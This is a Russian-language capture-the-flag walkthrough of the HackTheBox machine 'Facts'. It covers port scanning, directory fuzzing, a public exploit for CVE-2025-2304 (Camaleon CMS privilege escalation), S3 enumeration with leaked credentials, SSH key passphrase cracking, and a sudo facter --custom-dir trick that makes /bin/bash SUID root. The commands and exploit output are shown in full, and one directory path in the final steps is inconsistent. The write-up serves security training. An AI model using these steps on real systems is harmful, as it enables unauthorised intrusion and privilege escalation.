Facts — прохождение простой машины от HackTheBox

от автора

Факты

Факты

Простая машина от Hack The Box, на которой работает Camaleon CMS 2.9.0 под управлением nginx. В системе включена функция самостоятельной регистрации, а уязвимость, позволяющая повысить привилегии после аутентификации (CVE-2025-2304), дает возможность любому зарегистрированному пользователю получить права администратора CMS всего за один запрос.

В настройках хранилища медиафайлов в панели администратора можно обнаружить учетные данные для AWS S3. Перебор (перечисление) бакетов S3 позволяет найти внутренний бакет, содержащий закрытый SSH-ключ, защищенный парольной фразой, которую можно подобрать. В комментарии к ключу указано имя пользователя (trivia), что открывает доступ по SSH и позволяет получить пользовательский флаг. Повышение привилегий осуществляется за счет использования правила sudo, не требующего пароля, для утилиты /usr/bin/facter: флаг --custom-dir позволяет загружать произвольные скрипты Ruby с правами root, обеспечивая простой путь к получению SUID-оболочки bash и root-флага.

1. Recon (Разведка)

Смотрим исходный код и сканируем порты:

PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)80/tcp open  http    nginx 1.26.3 (Ubuntu)|_http-server-header: nginx/1.26.3 (Ubuntu)| http-methods: |_  Supported Methods: GET HEAD POST OPTIONS|_http-title: Did not follow redirect to http://facts.htb/Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

По стандарту 22 и 80 порт Видно, что на 80 порту есть некий сайт, который редиректит на домен facts.htb.

Добавляем его в /etc/hosts c ip адресом 10.10.15.138 в моем случае. Перейдя на сайт, видим что это сайт с картинкаим и фактами. Похоже на какую-то CMS, но из исходного кода пока непонятно, какая именно.

2. Фаззинг

Поскольку есть предположение, что это CMS, то должна быть админка.Приступаем к фаззингу. Наученный предыдущим опытом CTF, где я брал маленькие словари и ничего не находил, в этот раз я сразу беру большой словарь…

ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt  -u "http://facts.htb/FUZZ"  -ic -c        /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://facts.htb/FUZZ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500________________________________________________rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1060ms]sitemap                 [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 1032ms]index                   [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 1138ms]                        [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1146ms]search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 1794ms]en                      [Status: 200, Size: 11109, Words: 1328, Lines: 125, Duration: 1555ms]page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1576ms]welcome                 [Status: 200, Size: 11966, Words: 1481, Lines: 130, Duration: 1354ms]admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1323ms]post                    [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 1702ms]ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1336ms]Index                   [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 1319ms]up                      [Status: 200, Size: 73, Words: 4, Lines: 1, Duration: 1667ms]-                       [Status: 200, Size: 11098, Words: 1328, Lines: 125, Duration: 1711ms]404                     [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 1879ms]

Да. Есть у нас много каталогов, но я пойду в админку…

alt text

alt text

Естественно ни имени ни пароля мы не знаем, однако мы можем создать новый аккаунт. После регистрации и входа в админ панель, мы наконец узнаем, что это Camaleon CMS версии 2.9.0.

Повышение привелегий до админа в CMS

Первое, что я сделал, это пошел в гугл искать уязвимости на эту версию. На гитхабе есть CVE позволяющая из обычного пользователя повысить привелегии до админа… CVE на гитхабе

python exploit.py -u http://facts.htb -U test -P test[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)[+]Login confirmed   User ID: 5   Current User Role: client[+]Loading PPRIVILEGE ESCALATION   User ID: 5   Updated User Role: admin[+]Reverting User Role

Вот так одной командой становимся администратором на этом сайте и получаем практически полный контроль, над сайтом.

alt text

alt text

Вектора для получения флагов

Прокинуть реверс-шелл, я не смог и стал искать другие пути. В настройках сайта, я нашел такой пункт

alt text

alt text

Видно, что у нас есть облачное хранилище от амазона и креды от него. Нужно зайти в него и посмотреть, вдруг есть, что интересное. Для этих целей будем использовать утилиту AWS. Я этой утилитой ни разу не пользовался поэтому воспользовался гайдом на Медиуме

aws --endpoint-url http://10.129.10.56:54321 s3 ls s3://randomfacts --recursive

Здесь одни картинки и ничего интересного нет.Однако если воспользоваться командой:

aws --endpoint-url http://10.129.10.56:54321 s3 ls 2025-09-11 08:06:52 internal2025-09-11 08:06:52 randomfacts

То можно увидеть, что кроме randomfacts бакета есть еще и internal. И здесь есть приватный ключ ssh.

...2026-01-08 14:01:43          0 .cache/motd.legal-displayed2026-01-08 13:47:17         20 .lesshst2026-01-08 13:47:17        807 .profile2026-03-04 03:17:40         82 .ssh/authorized_keys2026-03-04 03:17:40        464 .ssh/id_ed25519

Имя пользователя неизвестно, а от рута, этот ключ не подходит, это было бы слишком просто. Много чего перепробовал из cms, но ничего не сработало.

К тому же на этом ключе есть парольная фраза:

ssh2john id_ed25519 > id_ed25519_hash                                                                                                              Downloads  05:47  0.097s  john id_ed25519_hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashesCost 2 (iteration count) is 24 for all loaded hashesWill run 2 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusdragonballz      (id_ed25519)     1g 0:00:06:14 DONE (2026-03-04 05:54) 0.002672g/s 8.552p/s 8.552c/s 8.552C/s fireman..imissuUse the "--show" option to display all of the cracked passwords reliablySession completed. 

Убираем парольную фразу и здесь находим имя пользователя:

ssh-keygen -p -f id_ed25519Enter old passphrase: Key has comment 'trivia@facts.htb'Enter new passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved with the new passphrase.

Теперь мы в системе и можем прочитать юзерский флаг:

trivia@facts:~$ lstrivia@facts:~$ ls -latotal 36drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 .drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrcdrwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundledrwx------ 2 trivia trivia 4096 Jan  8 18:58 .cachedrwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profiledrwx------ 2 trivia trivia 4096 Mar  4 08:17 .sshtrivia@facts:~$ cd /hometrivia@facts:/home$ lstrivia  williamtrivia@facts:/home$ cd william/trivia@facts:/home/william$ lsuser.txttrivia@facts:/home/william$ cat user.txt akfalksjfkajfslkasfjlkasjf

Повышаем привелегии до рута

По классике проверяем sudo -l.

trivia@facts:/home/william$ sudo -lMatching Defaults entries for trivia on facts:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser trivia may run the following commands on facts:    (ALL) NOPASSWD: /usr/bin/facter

И у нас есть утилита facter, которую можем выполнять без пароля.

Уязвимость здесь кроется в том, что в sudo -l не прописаны жесткие аргументы. Это значит, что мы можем запустить sudo /usr/bin/facter с любыми флагами.

У facter есть параметр —custom-dir, который заставляет его загружать пользовательские факты (скрипты на Ruby) из указанной директории. Так как facter будет запущен через sudo, любой наш Ruby-скрипт в этой папке выполнится с правами root.

Создадим временную директорию и напишем туда простейший Ruby-скрипт, который выдаст утилите /bin/bash права SUID.

mkdir -p /tmp/1echo 'system("/bin/chmod u+s /bin/bash")' > /tmp/privesc/1.rb

Теперь запустим утилиту от имени суперпользователя и скормим ей нашу папку с вредоносным фактом:

sudo /usr/bin/facter --custom-dir /tmp/1

Если скрипт отработал, у /bin/bash теперь есть бит SUID от рута. Запускай баш с сохранением привилегий (флаг -p):

/bin/bash -p

Проверим командой id (должен быть euid=0(root))

trivia@facts:/opt/factsapp$ /bin/bash -pbash-5.2# iduid=1000(trivia) gid=1000(trivia) euid=0(root) groups=1000(trivia)
bash-5.2# cat root.txt rootflag

Райтап подготовил @alfabuster

ссылка на оригинал статьи https://habr.com/ru/articles/1053654/